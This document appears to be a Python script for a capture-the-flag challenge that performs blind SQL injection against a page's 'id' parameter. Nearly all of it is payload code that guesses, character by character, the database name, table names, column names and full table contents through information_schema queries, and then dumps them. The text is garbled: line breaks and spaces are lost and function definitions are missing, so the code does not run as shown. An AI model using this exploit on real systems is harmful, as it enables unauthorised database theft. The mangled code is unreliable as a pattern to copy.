url = "http://ctf.seek2.top/page.php?id=1" charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" result = ""
for i inrange(1, 10): for char in charset: payload = f"' AND substring(database(),{i},1)='{char}" full_url = f"{url}{payload}" response = requests.get(full_url)
if"expected output"in response.text: result += char break
payload0 = f"221101 and length(database())>{maxlength}" if is_match(payload0): # 异常处理 print("length > maxlength") return0# 程序直接结束 else: for i inrange(minlength, maxlength + 1): payload1 = f"221101 and length(database())={i}" if is_match(payload1): length = i break print(f"Current database length: {length}")
for i inrange(1, length + 1): for k in BlindList: payload2 = f"221101 and substring(database(),{i},1)='{k}'" if is_match(payload2): db += k break print(f"Current database: {db}")
payload0 = f"221101 and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>{maxlength}" if is_match(payload0): # 异常处理 print("tables length > maxlength") return0# 程序直接结束 else: for i inrange(minlength, maxlength + 1): payload1 = f"221101 and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i}" if is_match(payload1): length = i break # print(f"tables length: {length}")
for i inrange(1, length + 1): for k in BlindList: payload2 = f"221101 and substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)='{k}'" if is_match(payload2): tb += k break # print(f"tables: {tb}") return tb.split(',')
payload0 = f"221101 and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{tb}'))>{maxlength}" if is_match(payload0): # 异常处理 print("columns length > maxlength") return0# 程序直接结束 else: for i inrange(minlength, maxlength + 1): payload1 = f"221101 and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{tb}'))={i}" if is_match(payload1): length = i break # print(f"{tb} columns length: {length}")
for i inrange(1, length + 1): for k in BlindList: payload2 = f"221101 and substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{tb}'),{i},1)='{k}'" if is_match(payload2): cl += k break print(f"{tb} columns: {cl}") return cl
payload0 = f"221101 and length((select group_concat({tmp_cls}) from {tb}))>{maxlength}" if is_match(payload0): # 异常处理 print("data length > maxlength") return0# 程序直接结束 else: for i inrange(minlength, maxlength + 1): payload1 = f"221101 and length((select group_concat({tmp_cls}) from {tb}))={i}" if is_match(payload1): length += i break # print(f"{tb} data length: {length}")
for i inrange(1, length + 1): for k in BlindList: payload2 = f"221101 and substring((select group_concat({tmp_cls}) from {tb}),{i},1)='{k}'" if is_match(payload2): data += k break # print(f"{tb} data: {data}") return data
if __name__ == "__main__": # database() # tables() for table_name in tables(): print(f'[{table_name}]') result = dump(table_name, columns(table_name)) for item in result.split(','): print(item)